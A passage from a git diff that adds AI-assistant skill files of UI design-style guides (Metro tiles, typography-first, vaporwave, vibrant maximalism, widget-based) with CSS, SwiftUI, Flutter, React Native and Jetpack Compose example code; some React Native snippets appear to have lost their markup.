value: isPressed) + .onLongPressGesture(minimumDuration: .infinity, maximumDistance: .infinity, pressing: { pressing in + isPressed = pressing + }, perform: {}) + } +} +``` +- A `LazyHGrid` inside a horizontal `ScrollView` perfectly replicates the Windows Phone / Windows 8 start screen. +- Absolutely NO corner radius. +- The `isPressed` state triggering a `.scaleEffect(0.95)` replicates the physical "tilt" interaction of Metro tiles. + +### Flutter +```dart +class TileDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF111111), + body: SingleChildScrollView( + scrollDirection: Axis.horizontal, + padding: const EdgeInsets.all(40), + child: SizedBox( + height: 308, // Two rows of 150px + 8px spacing + child: Wrap( + direction: Axis.vertical, + spacing: 8, + runSpacing: 8, + children: [ + _buildTile('Mail', const Color(0xFF0078D7), Icons.mail_outline), + _buildTile('Weather', const Color(0xFF2D7D9A), Icons.cloud_outlined), + _buildTile('Photos', const Color(0xFF00CC6A), Icons.photo_outlined, isLarge: true), + _buildTile('Calendar', const Color(0xFFD13438), Icons.calendar_today), + ], + ), + ), + ), + ); + } + + Widget _buildTile(String title, Color color, IconData icon, {bool isLarge = false}) { + return StatefulBuilder( + builder: (context, setState) { + bool isPressed = false; + return GestureDetector( + onTapDown: (_) => setState(() => isPressed = true), + onTapUp: (_) => setState(() => isPressed = false), + onTapCancel: () => setState(() => isPressed = false), + child: AnimatedScale( + scale: isPressed ? 0.95 : 1.0, + duration: const Duration(milliseconds: 100), + child: Container( + width: isLarge ? 308 : 150, + height: isLarge ? 308 : 150, + color: color, // Sharp corners + padding: const EdgeInsets.all(16), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + Icon(icon, color: Colors.white, size: 32), + Text(title, style: const TextStyle(color: Colors.white, fontFamily: 'Segoe UI', fontSize: 16)), + ], + ), + ), + ), + ); + } + ); + } +} +``` +- `Wrap` with `direction: Axis.vertical` inside a horizontally scrolling `SizedBox` is the easiest way to build a Metro grid that flows left-to-right. +- Wrap tiles in `GestureDetector` and `AnimatedScale` to handle the press animation. + +### React Native +```jsx +const TileDesignScreen = () => { + return ( + + + + + + + + + + + ); +}; + +const Tile = ({ title, color, isLarge }) => { + const scale = useRef(new Animated.Value(1)).current; + + const handlePressIn = () => Animated.spring(scale, { toValue: 0.95, useNativeDriver: true }).start(); + const handlePressOut = () => Animated.spring(scale, { toValue: 1, useNativeDriver: true }).start(); + + return ( + + + + {title} + + + ); +}; +``` +- Use a `` combined with a child `` that has a fixed `height` and `flexWrap: 'wrap', flexDirection: 'column'`. This forces children to form columns and flow horizontally. +- Use `Animated.View` and `TouchableWithoutFeedback` to create the scale animation. + +### Jetpack Compose +```kotlin +@Composable +fun TileDesignScreen() { + LazyHorizontalGrid( + rows = GridCells.Fixed(2), + modifier = Modifier.fillMaxSize().background(Color(0xFF111111)), + contentPadding = PaddingValues(40.dp), + horizontalArrangement = Arrangement.spacedBy(8.dp), + verticalArrangement = Arrangement.spacedBy(8.dp) + ) { + item(span = { GridItemSpan(1) }) { Tile("Mail", Color(0xFF0078D7)) } + // Note: LazyHorizontalGrid doesn't easily support spanning multiple rows (2x2 tiles). + // For a true Metro layout, you often have to build a custom Layout or use staggered grids. + item(span = { GridItemSpan(2) }) { Tile("Photos Wide", Color(0xFF00CC6A)) } + item(span = { GridItemSpan(1) }) { Tile("Weather", Color(0xFF2D7D9A)) } + } +} + +@Composable +fun Tile(title: String, color: Color) { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.95f else 1.0f) + + Box( + modifier = Modifier + .size(150.dp) // Or wide/large based on params + .scale(scale) + .background(color) // Sharp corners! No RoundedCornerShape + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(16.dp) + ) { + // Icon + Box(modifier = Modifier.size(32.dp).background(Color.White.copy(alpha = 0.5f)).align(Alignment.TopStart)) + // Text + Text( + text = title, + color = Color.White, + fontFamily = FontFamily.SansSerif, + modifier = Modifier.align(Alignment.BottomStart) + ) + } +} +``` +- `LazyHorizontalGrid` is the right tool, though building true 2x2 "Large" tiles requires custom layout math in Compose if mixing with 1x1 tiles. +- `Modifier.scale()` paired with `pointerInput` `detectTapGestures` handles the Metro interaction. + +## Do's and Don'ts +- **DO**: Place the tile label text strictly in the bottom-left corner of the tile. +- **DON'T**: Add drop shadows or gradients to the tiles. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md new file mode 100644 index 00000000..f4598f03 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/typography-first/SKILL.md @@ -0,0 +1,247 @@ +--- +name: typography-first +description: Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Typography First Design + +> "The words are the interface. No distractions, just beautiful text." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hyper-Sized Typography**: The main headline is so large it becomes an abstract graphic element. +2. **Minimal UI Chroming**: Buttons are just text. Navigation is just text. No boxes, no backgrounds. +3. **Kinetic Typography**: Text that moves, scrolls, or reacts to the user's cursor. + +## Visual DNA +- **Colors**: Extreme high contrast. Pure black and white, or a very dark background with a single neon accent color. **Midnight Luxury** works well. +- **Typography**: Display fonts with extreme character. Try `Oswald`, `Anton`, or `Bebas Neue` for impact, or a massive serif. +- **Layout**: Often centers the massive text perfectly in the viewport, cutting off at the edges. + +## Web Implementation +- Rely on `vw` and `vh` units for font sizing so the text perfectly fills the screen. +- **CSS Example**: +```css +body { + background-color: #0A0A0A; + color: #F5F5F0; + overflow-x: hidden; + margin: 0; +} + +.hero-type { + font-family: 'Anton', sans-serif; + font-size: 25vw; /* Fills the width of the screen */ + text-transform: uppercase; + line-height: 0.8; + white-space: nowrap; + + /* Outline effect */ + color: transparent; + -webkit-text-stroke: 2px #F5F5F0; + transition: color 0.3s; +} + +.hero-type:hover { + color: var(--cta-highlight); + -webkit-text-stroke: 0; +} + +.nav-text-btn { + background: none; + border: none; + color: #F5F5F0; + font-size: 2rem; + font-family: 'Helvetica Neue', sans-serif; + text-decoration: underline; + text-underline-offset: 8px; + cursor: pointer; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct TypographyFirstView: View { + var body: some View { + ZStack { + Color(hex: "0A0A0A").ignoresSafeArea() + + VStack { + // Massive Typography Bleeding Off Edge + Text("THE WORDS ARE THE INTERFACE") + .font(.custom("Anton", size: 200)) // Absurdly large + .foregroundColor(Color(hex: "F5F5F0")) + .lineLimit(1) + .fixedSize(horizontal: true, vertical: false) // Force no wrapping + .minimumScaleFactor(1.0) // Prevent auto-shrinking + + // Outlined variant + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(.clear) + .overlay( + Text("NO CHROMING") + .font(.custom("Anton", size: 150)) + .foregroundColor(Color(hex: "0A0A0A")) + // Hack for text stroke in SwiftUI + .shadow(color: Color(hex: "F5F5F0"), radius: 1) + ) + .lineLimit(1) + .fixedSize() + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(.leading, -20) // Intentionally cut off + } + } +} +``` +- Use `.fixedSize(horizontal: true, vertical: false)` and `.lineLimit(1)` to force massive fonts to bleed off the edge of the screen rather than wrapping into a paragraph. +- Native text-stroke is difficult in SwiftUI; overlapping a masked text or using thin shadows is the common workaround. + +### Flutter +```dart +class TypographyFirstScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0A0A0A), + body: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + crossAxisAlignment: CrossAxisAlignment.stretch, + children: [ + // Auto-scaling hero text + FittedBox( + fit: BoxFit.cover, + child: Text( + 'THE WORDS ARE', + style: TextStyle(fontFamily: 'Anton', color: const Color(0xFFF5F5F0), height: 0.8), + ), + ), + + // Outlined text + FittedBox( + fit: BoxFit.cover, + child: Stack( + children: [ + // Outline + Text( + 'THE INTERFACE', + style: TextStyle( + fontFamily: 'Anton', height: 0.8, + foreground: Paint()..style = PaintingStyle.stroke..strokeWidth = 2..color = const Color(0xFFF5F5F0), + ), + ), + // Solid fill (transparent) + const Text('THE INTERFACE', style: TextStyle(fontFamily: 'Anton', height: 0.8, color: Colors.transparent)), + ], + ), + ), + ], + ), + ), + ); + } +} +``` +- `FittedBox` with `BoxFit.cover` is your best friend here. It ensures the text takes up the maximum possible width/height regardless of the device screen size. +- Flutter makes text outlines easy by using `foreground: Paint()..style = PaintingStyle.stroke` in the `TextStyle`. + +### React Native +```jsx +const { width } = Dimensions.get('window'); + +const TypographyFirstScreen = () => { + return ( + + + {/* Massive Text */} + + WORDS ARE + + + {/* Outlined Text (Not supported natively in standard React Native Text, requires SVG or shadows) */} + + INTERFACE + + + {/* Typography Button */} + + + Explore Now + + + + + ); +}; +``` +- Rely on `Dimensions.get('window').width` to calculate extreme font sizes dynamically (e.g., `fontSize: width * 0.4`). +- Use `numberOfLines={1}` and negative margins to allow the text to act as a graphic element bleeding off the screen. + +### Jetpack Compose +```kotlin +@Composable +fun TypographyFirstScreen() { + Column( + modifier = Modifier.fillMaxSize().background(Color(0xFF0A0A0A)), + verticalArrangement = Arrangement.Center + ) { + // Massive Text + Text( + text = "THE WORDS ARE", + color = Color(0xFFF5F5F0), + fontSize = 120.sp, // Absurd size + fontFamily = FontFamily.SansSerif, // Replace with Anton + lineHeight = 100.sp, + softWrap = false, // Force bleed off edge + modifier = Modifier.offset(x = (-20).dp) + ) + + // Outlined Text + Text( + text = "THE INTERFACE", + fontSize = 100.sp, + fontFamily = FontFamily.SansSerif, + lineHeight = 90.sp, + softWrap = false, + style = TextStyle( + drawStyle = Stroke( + miter = 10f, + width = 2f, + join = StrokeJoin.Round + ) + ), + color = Color(0xFFF5F5F0) // The stroke color + ) + } +} +``` +- Set `softWrap = false` on `Text` to prevent it from wrapping and ruining the massive headline aesthetic. +- Compose fully supports text outlines natively using `style = TextStyle(drawStyle = Stroke(...))`. + +## Do's and Don'ts +- **DO**: Mix filled text and outlined text (using `-webkit-text-stroke`) for visual interest. +- **DON'T**: Wrap the text in cards or containers. Let it bleed into the background. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md new file mode 100644 index 00000000..4b24d643 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vaporwave/SKILL.md @@ -0,0 +1,331 @@ +--- +name: vaporwave +description: Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vaporwave + +> "A surreal, nostalgic dream of 90s computing and pastel neon." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Windows 95 / Mac OS 9 Motifs**: UI elements designed to look explicitly like 1990s operating systems (grey boxes, hard bevels, blue title bars). +2. **Surreal Pastels & Neons**: A mix of soft pinks, cyans, and harsh neon overlays. +3. **Collage Aesthetic**: Mixing classical art (Roman busts), early 3D renders (checkerboard floors), and Japanese text (Kanji/Katakana). + +## Visual DNA +- **Colors**: Cyan (`#00FFFF`), Magenta (`#FF00FF`), Lavender (`#E6E6FA`), and classic Windows Grey (`#C0C0C0`). +- **Typography**: `MS Sans Serif`, `Tahoma`, or pixel fonts. Fullwidth characters (AESTHETIC) are highly encouraged for headers. +- **Styling**: Hard, 1px outsets and insets to simulate 90s 3D buttons. + +## Web Implementation +- Use standard CSS borders to create the classic 90s button look. +- **CSS Example**: +```css +body { + background: linear-gradient(180deg, #ff99cc 0%, #99ccff 100%); + color: #000; + font-family: 'Tahoma', sans-serif; + min-height: 100vh; +} + +/* Windows 95 Style Window */ +.vapor-window { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + width: 400px; + padding: 2px; +} + +.vapor-titlebar { + background: linear-gradient(90deg, #000080, #1084d0); + color: white; + font-weight: bold; + padding: 4px 8px; + display: flex; + justify-content: space-between; +} + +.vapor-button { + background-color: #C0C0C0; + border: 2px outset #fff; + border-right-color: #808080; + border-bottom-color: #808080; + padding: 4px 12px; +} +.vapor-button:active { + border-style: inset; +} + +/* The iconic vaporwave sun/grid */ +.vapor-sun { + width: 200px; height: 200px; + background: linear-gradient(to bottom, #ff00ff, #ffff00); + border-radius: 50%; + box-shadow: 0 0 20px #ff00ff; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VaporwaveView: View { + var body: some View { + ZStack { + // Neon Gradient Background + LinearGradient(colors: [Color(hex: "ff99cc"), Color(hex: "99ccff")], startPoint: .top, endPoint: .bottom) + .ignoresSafeArea() + + // Win95 Window + VStack(spacing: 0) { + // Title Bar + HStack { + Text("AESTHETIC.exe") + .font(.system(size: 14, weight: .bold, design: .monospaced)) + .foregroundColor(.white) + Spacer() + Text("X") + .font(.system(size: 12, weight: .bold)) + .padding(.horizontal, 6) + .background(Color(hex: "C0C0C0")) + .border(.white, width: 1) // Faux 3D + } + .padding(4) + .background(LinearGradient(colors: [Color(hex: "000080"), Color(hex: "1084d0")], startPoint: .leading, endPoint: .trailing)) + + // Content + VStack { + Text("It's all in your head.") + .font(.custom("Tahoma", size: 16)) + .padding() + + // Win95 Button + Button(action: {}) { + Text("OK") + .foregroundColor(.black) + .padding(.horizontal, 24) + .padding(.vertical, 8) + } + .background(Color(hex: "C0C0C0")) + // Complex borders to simulate Outset + .overlay( + Rectangle().stroke(Color.black, lineWidth: 1) // Outer bottom/right + ) + .overlay( + Rectangle().stroke(Color.white, lineWidth: 1).padding(1) // Inner top/left + ) + } + .frame(maxWidth: .infinity) + .padding(16) + .background(Color(hex: "C0C0C0")) + } + .frame(width: 300) + // Outset border for window + .border(Color(hex: "808080"), width: 2) + .padding() + } + } +} +``` +- You cannot use `.cornerRadius()` anywhere in Vaporwave design. +- The Win95 3D bevel is achieved by stacking `.border()` and `.overlay(Rectangle().stroke())` with different colors (white for top/left, dark gray for bottom/right). + +### Flutter +```dart +class VaporwaveScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Container( + decoration: const BoxDecoration( + gradient: LinearGradient(begin: Alignment.topCenter, end: Alignment.bottomCenter, colors: [Color(0xFFFF99CC), Color(0xFF99CCFF)]), + ), + child: Center( + child: Container( + width: 300, + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + // Classic Win95 Outset Border + border: Border( + top: BorderSide(color: Colors.white, width: 2), + left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), + right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + // Title Bar + Container( + padding: const EdgeInsets.symmetric(horizontal: 4, vertical: 2), + margin: const EdgeInsets.all(2), + decoration: const BoxDecoration(gradient: LinearGradient(colors: [Color(0xFF000080), Color(0xFF1084D0)])), + child: Row( + mainAxisAlignment: MainAxisAlignment.spaceBetween, + children: [ + const Text('AESTHETIC.exe', style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold)), + Container(color: const Color(0xFFC0C0C0), padding: const EdgeInsets.symmetric(horizontal: 4), child: const Text('X', style: TextStyle(fontWeight: FontWeight.bold))), + ], + ), + ), + // Content + Padding( + padding: const EdgeInsets.all(16.0), + child: Column( + children: [ + const Text('nostalgia.sys loaded.', style: TextStyle(fontFamily: 'Tahoma')), + const SizedBox(height: 16), + // Outset Button + Container( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 8), + decoration: const BoxDecoration( + color: Color(0xFFC0C0C0), + border: Border( + top: BorderSide(color: Colors.white, width: 2), left: BorderSide(color: Colors.white, width: 2), + bottom: BorderSide(color: Color(0xFF808080), width: 2), right: BorderSide(color: Color(0xFF808080), width: 2), + ), + ), + child: const Text('OK'), + ) + ], + ), + ) + ], + ), + ), + ), + ), + ); + } +} +``` +- Flutter's `BoxDecoration` supports complex `Border` definitions where you can set `BorderSide` colors independently. This perfectly recreates CSS `outset` / `inset`. + +### React Native +```jsx +const VaporwaveScreen = () => { + return ( + + + {/* Window */} + + + {/* Title Bar */} + + AESTHETIC.exe + X + + + + nostalgia.sys + + {/* Outset Button */} + + OK + + + + + + + ); +}; +``` +- Use independent border color styles (`borderTopColor: '#FFF'`, `borderBottomColor: '#808080'`) to build 90s OS chroming. +- Make sure to use Japanese fullwidth characters for text for maximum vaporwave aesthetic. + +### Jetpack Compose +```kotlin +@Composable +fun VaporwaveScreen() { + Box( + modifier = Modifier + .fillMaxSize() + .background(Brush.verticalGradient(listOf(Color(0xFFFF99CC), Color(0xFF99CCFF)))), + contentAlignment = Alignment.Center + ) { + // Window + Column( + modifier = Modifier + .width(300.dp) + // Custom drawn Outset border + .drawBehind { + val stroke = 4f + // Bottom/Right (Dark) + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + // Top/Left (Light) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .background(Color(0xFFC0C0C0)) + .padding(2.dp) + ) { + // Title Bar + Row( + modifier = Modifier + .fillMaxWidth() + .background(Brush.horizontalGradient(listOf(Color(0xFF000080), Color(0xFF1084D0)))) + .padding(4.dp), + horizontalArrangement = Arrangement.SpaceBetween + ) { + Text("AESTHETIC.exe", color = Color.White, fontWeight = FontWeight.Bold) + Box(modifier = Modifier.background(Color(0xFFC0C0C0)).padding(horizontal = 4.dp)) { + Text("X", fontWeight = FontWeight.Bold) + } + } + + // Content + Column(modifier = Modifier.fillMaxWidth().padding(16.dp), horizontalAlignment = Alignment.CenterHorizontally) { + Text("Welcome to the 90s.", fontFamily = FontFamily.Monospace) + Spacer(Modifier.height(16.dp)) + + // Win95 Button + Box( + modifier = Modifier + .clickable { } + .drawBehind { + val stroke = 4f + drawLine(Color(0xFF808080), Offset(0f, size.height), Offset(size.width, size.height), stroke) + drawLine(Color(0xFF808080), Offset(size.width, 0f), Offset(size.width, size.height), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(size.width, 0f), stroke) + drawLine(Color.White, Offset(0f, 0f), Offset(0f, size.height), stroke) + } + .padding(horizontal = 24.dp, vertical = 8.dp) + ) { + Text("OK", fontWeight = FontWeight.Bold) + } + } + } + } +} +``` +- Compose's `Modifier.border` draws on all sides equally. To achieve the 90s outset look, you must use `Modifier.drawBehind` and manually draw the top/left lines in white and bottom/right lines in dark gray. + +## Do's and Don'ts +- **DO**: Use authentic 90s icons (pixelated hourglasses, folders, error dialogs). +- **DON'T**: Use modern drop shadows or rounded corners. The 90s UI was sharp and jagged. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md new file mode 100644 index 00000000..86238a18 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/vibrant-maximalism/SKILL.md @@ -0,0 +1,291 @@ +--- +name: vibrant-maximalism +description: Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and "more is more". +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Vibrant Maximalism + +> "More is more. An explosion of color, pattern, and typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Sensory Overload**: Every pixel is doing something. Patterns on top of gradients on top of photos. +2. **Clashing Colors**: Forget the standard rules of color harmony. Pair neon green with hot pink, or bright orange with electric blue. +3. **Multiple Fonts**: Mix 3 or 4 completely different typefaces in the same layout. + +## Visual DNA +- **Colors**: All of them. Highly saturated, unmuted hues. No calm neutrals allowed. +- **Typography**: A chaotic mix. A massive serif headline, a bubble-letter subhead, and a monospace body text. +- **Visuals**: Stickers, repeating patterns, emojis, 3D renders, and marquee scrolling text. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Complex clashing background */ + background: + radial-gradient(circle at 20% 30%, #FF00FF 0%, transparent 40%), + radial-gradient(circle at 80% 70%, #00FFFF 0%, transparent 40%), + url('checkerboard-pattern.png') repeat; + background-color: #FFFF00; + color: #000; + overflow-x: hidden; +} + +.max-headline { + font-family: 'Anton', sans-serif; + font-size: 8rem; + text-transform: uppercase; + line-height: 0.8; + color: #FF0000; + /* Crazy shadow effect */ + text-shadow: + 4px 4px 0px #000, + 8px 8px 0px #00FFFF, + 12px 12px 0px #FF00FF; + transform: rotate(-3deg); +} + +.max-sticker { + position: absolute; + background: #000; + color: #00FF00; + font-family: monospace; + padding: 10px; + border-radius: 50%; + width: 100px; + height: 100px; + display: flex; + align-items: center; + justify-content: center; + text-align: center; + border: 4px dashed #FF00FF; + animation: spin 10s linear infinite; +} + +@keyframes spin { 100% { transform: rotate(360deg); } } + +.max-card { + background: rgba(255, 255, 255, 0.9); + border: 5px solid #000; + box-shadow: 10px 10px 0px #0000FF; + padding: 40px; + border-radius: 0 40px 0 40px; /* Weird asymmetrical corners */ +} +``` + +## App Implementation + +### SwiftUI +```swift +struct VibrantMaximalismView: View { + var body: some View { + ScrollView { + ZStack { + // Chaotic Layered Background + Color(hex: "FFFF00").ignoresSafeArea() // Pure Yellow + + Circle() + .fill(RadialGradient(colors: [Color(hex: "FF00FF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: -100, y: -200) + + Circle() + .fill(RadialGradient(colors: [Color(hex: "00FFFF"), .clear], center: .center, startRadius: 0, endRadius: 200)) + .frame(width: 400, height: 400) + .offset(x: 150, y: 200) + + // Content + VStack(spacing: 40) { + Text("OVERLOAD") + .font(.custom("Anton", size: 80)) + .foregroundColor(Color(hex: "FF0000")) + .shadow(color: .black, radius: 0, x: 4, y: 4) + .shadow(color: Color(hex: "00FFFF"), radius: 0, x: 8, y: 8) + .rotationEffect(.degrees(-3)) + + // Weird shaped card + VStack { + Text("More is more.") + .font(.system(size: 24, weight: .black, design: .monospaced)) + } + .padding(40) + .background(Color.white.opacity(0.9)) + .border(.black, width: 5) + .cornerRadius(40, corners: [.topRight, .bottomLeft]) // Custom corner radius extension needed + .shadow(color: Color(hex: "0000FF"), radius: 0, x: 10, y: 10) + } + } + } + } +} +``` +- Layer multiple `RadialGradient`s in a `ZStack` behind the content to create the complex, clashing color blobs. +- Use multiple hard drop shadows (radius 0, but large X/Y offsets) in clashing colors to build the loud text effect. + +### Flutter +```dart +class VibrantMaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + children: [ + // Background Color + Container(color: const Color(0xFFFFFF00)), + // Gradient Blob 1 + Positioned( + top: -100, left: -100, + child: Container( + width: 400, height: 400, + decoration: const BoxDecoration( + shape: BoxShape.circle, + gradient: RadialGradient(colors: [Color(0xFFFF00FF), Colors.transparent]), + ), + ), + ), + + Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + Transform.rotate( + angle: -0.05, // Slight tilt + child: const Text( + 'OVERLOAD', + style: TextStyle( + fontFamily: 'Anton', fontSize: 80, color: Color(0xFFFF0000), + shadows: [ + Shadow(color: Colors.black, offset: Offset(4, 4)), + Shadow(color: Color(0xFF00FFFF), offset: Offset(8, 8)), + ] + ), + ), + ), + const SizedBox(height: 40), + + // Weird asymmetrical card + Container( + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.9), + border: Border.all(color: Colors.black, width: 5), + borderRadius: const BorderRadius.only(topRight: Radius.circular(40), bottomLeft: Radius.circular(40)), + boxShadow: const [BoxShadow(color: Color(0xFF0000FF), offset: Offset(10, 10))], + ), + child: const Text('More is more.', style: TextStyle(fontFamily: 'Courier', fontSize: 24, fontWeight: FontWeight.bold)), + ) + ], + ), + ), + ], + ), + ); + } +} +``` +- Flutter's `Stack` with `Positioned` widgets lets you throw clashing radial gradients anywhere on the screen easily. +- Apply `BorderRadius.only` to create bizarre, asymmetrical containers that break typical UI norms. + +### React Native +```jsx +const VibrantMaximalismScreen = () => { + return ( + + + {/* Emulating radial blobs in RN usually requires SVG or ImageBackground. For simplicity, we use absolute views here */} + + + + + {/* Loud Text */} + + OVERLOAD + + + {/* Asymmetrical Card */} + + More is more. + + + + + ); +}; +``` +- Use `textShadowRadius: 0` to create hard, offset, brutalist-style text shadows in clashing colors (e.g. Red text with a Cyan hard shadow). +- Apply `transform: [{ rotate: '-3deg' }]` to break alignment intentionally. + +### Jetpack Compose +```kotlin +@Composable +fun VibrantMaximalismScreen() { + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFFFFF00))) { + + // Emulated Radial Gradients + Box(modifier = Modifier.offset(x = (-100).dp, y = (-100).dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFFFF00FF), Color.Transparent)))) + Box(modifier = Modifier.offset(x = 100.dp, y = 300.dp).size(400.dp).background(Brush.radialGradient(listOf(Color(0xFF00FFFF), Color.Transparent)))) + + Column( + modifier = Modifier.fillMaxSize().padding(40.dp), + horizontalAlignment = Alignment.CenterHorizontally, + verticalArrangement = Arrangement.Center + ) { + // Rotated Headline + Text( + text = "OVERLOAD", + fontSize = 80.sp, + fontFamily = FontFamily.SansSerif, // Replace with Anton + color = Color(0xFFFF0000), + modifier = Modifier.rotate(-3f), + style = TextStyle( + shadow = Shadow(color = Color(0xFF00FFFF), offset = Offset(16f, 16f), blurRadius = 0f) + ) + ) + + Spacer(Modifier.height(60.dp)) + + // Asymmetrical Card + Box( + modifier = Modifier + .shadow(elevation = 0.dp) // Reset default shadow + // Custom hard shadow trick: draw the shadow shape first + .offset(10.dp, 10.dp) + .background(Color(0xFF0000FF), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .offset((-10).dp, (-10).dp) + .background(Color.White.copy(alpha = 0.9f), RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .border(5.dp, Color.Black, RoundedCornerShape(topEnd = 40.dp, bottomStart = 40.dp)) + .padding(40.dp) + ) { + Text("More is more.", fontFamily = FontFamily.Monospace, fontSize = 24.sp, fontWeight = FontWeight.Black) + } + } + } +} +``` +- `Brush.radialGradient` works perfectly for dropping color blobs into the background. +- Compose's default `shadow` modifier blurs edges. To get a hard, brutalist shadow in Compose, render an identical shape offset behind the main shape with a solid color. + +## Do's and Don'ts +- **DO**: Break the grid. Let elements overlap awkwardly. +- **DON'T**: Use whitespace. If there is an empty area, fill it with a pattern, a marquee, or a giant emoji. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md new file mode 100644 index 00000000..88ff7525 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/widget-based-design/SKILL.md @@ -0,0 +1,274 @@ +--- +name: widget-based-design +description: Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Widget-Based Design + +> "Miniature applications. Small, highly functional blocks of UI designed to be rearranged." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Strict Aspect Ratios**: Widgets usually follow strict sizes (1x1 square, 2x1 rectangle, 2x2 large square). +2. **Glanceability**: Widgets show the most important piece of data instantly. Deep interaction usually requires opening the full app. +3. **Corner Radius Match**: The inner content's border radius should perfectly nest within the widget's outer border radius. + +## Visual DNA +- **Colors**: Widgets often use bright, solid color backgrounds or full-bleed photos to differentiate themselves. +- **Typography**: Large, bold numbers (like a clock or weather temp) paired with tiny sub-labels. +- **Layout**: Similar to Bento UI, but specifically focused on functional app-lets rather than just content layout. + +## Web Implementation +- **CSS Example**: +```css +.widget-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); + grid-auto-rows: 160px; /* Force squares */ + gap: 16px; + padding: 32px; +} + +.widget { + background-color: #ffffff; + border-radius: 24px; /* Classic iOS widget radius */ + box-shadow: 0 8px 24px rgba(0,0,0,0.08); + padding: 16px; + display: flex; + flex-direction: column; + justify-content: space-between; + overflow: hidden; + position: relative; +} + +/* Specific Sizes */ +.widget-small { grid-column: span 1; grid-row: span 1; } +.widget-medium { grid-column: span 2; grid-row: span 1; } +.widget-large { grid-column: span 2; 